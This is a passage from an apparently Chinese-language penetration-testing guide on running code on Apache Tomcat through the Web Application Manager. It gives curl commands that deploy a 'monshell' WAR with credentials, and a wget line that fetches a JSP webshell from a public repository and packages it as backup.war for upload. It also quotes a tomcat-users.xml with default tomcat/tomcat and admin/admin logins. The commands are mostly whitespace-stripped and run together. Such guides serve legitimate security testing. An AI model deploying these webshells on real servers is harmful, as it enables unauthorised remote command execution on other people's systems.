最后,如果您可以访问 Tomcat Web 应用程序管理器,您可以 上传并部署 .war 文件 (执行代码)。
限制
您只能在拥有 足够权限(角色:admin、manager 和 manager-script)的情况下部署 WAR。这些详细信息通常可以在 tomcat-users.xml 中找到,通常定义在 /usr/share/tomcat9/etc/tomcat-users.xml(不同版本之间可能有所不同)(请参见 POST 部分)。
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed# deploy under "path" context pathcurl--upload-filemonshell.war-u'tomcat:password'"http://localhost:8080/manager/text/deploy?path=/monshell"# undeploycurl"http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
wgethttps://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jspzip-rbackup.warcmd.jsp# When this file is uploaded to the manager GUI, the /backup application will be added to the table.# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
[...]<!--By default, no user is included in the "manager-gui" role requiredto operate the "/manager/html" web application. If you wish to use this app,you must define such a user - the username and password are arbitrary.Built-in Tomcat manager roles:- manager-gui - allows access to the HTML GUI and the status pages- manager-script - allows access to the HTTP API and the status pages- manager-jmx - allows access to the JMX proxy and the status pages- manager-status - allows access to the status pages only-->[...]<rolerolename="manager-gui" /><userusername="tomcat"password="tomcat"roles="manager-gui" /><rolerolename="admin-gui" /><userusername="admin"password="admin"roles="manager-gui,admin-gui" />